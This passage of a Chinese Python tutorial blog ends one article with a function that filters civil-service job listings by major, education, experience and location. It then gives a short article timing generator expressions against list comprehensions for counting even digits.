def check(row_value, major, edu, year, location):
    ma = row_value[12]
    # 该岗位所需专业
    ed = row_value[13]
    # 该岗位所需学历
    value = row_value[16]
    # 该岗位所需年限
    loc= row_value[1]
    # 该岗位位置
    if check_re(ma, major) and check_re(ed, edu) and check_re(value, year) and check_re(loc , location):
        return True
    else:
        return False

然后查看原表格里第二列的值,你会发现大部分国家公务员都是以省为单位的,比如XX广东省科员,那么调用该函数的时候就加一个’广东’参数即可。

我们的文章到此就结束啦,如果你希望我们今天的Python 教程,请持续关注我们,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们都会耐心解答的!


​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

Python生成器不该这么用

最近在知乎上有人误解了Python生成器的使用,在这里我们来统一探讨下它这么用对不对。

举一个例子,编写一个函数计算一串数字里所有偶数的个数,其实是很简单的问题,但是有些人是用生成器这么写的:

In [66]: def f1(x):
   ....:     return sum(c in '02468' for c in str(x))
   ....: 
In [68]: x = int('1234567890'*50)
In [69]: %timeit f1(x)
10000 loops, best of 5: 52.2 µs per loop

生成器这么用其实是速度最慢的一种做法,花费了52微秒。我们来看看如果我改成列表解析式会怎么样:

In [67]: def f2(x):
  ....:     return sum([c in '02468' for c in str(x)])
  ....:  
In [70]: %timeit f2(x)
10000 loops, best of 5: 40.5 µs per loop 

你看,这个加速非常地明显,仅花费了40.5微秒

而且还能进一步改进, 如果我们改变之前定义的f2,让它在列表解析式后判断数字是否为偶数,是偶数才会成为最终生成的列表中的一员,这样有另一个加速:

In [71]: def f3(x):
   ....:     return sum([True for c in str(x) if c in '02468'])
   ....: 
In [72]: %timeit f3(x)
10000 loops, best of 5: 34.9 µs per loop


34.9微秒,Perfect! 不仅如此,还能继续加速!sum对于整数有一个快速路径,但是这个快速路径只激活类型为int的变量. bool不行,因此我们把True改成1,能再加一次速!

In [73]: def f4(x):
   ....:     return sum([1 for c in str(x) if c in '02468'])
   ....: 
In [74]: %timeit f4(x)
10000 loops, best of 5: 33.3 µs per loop

​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典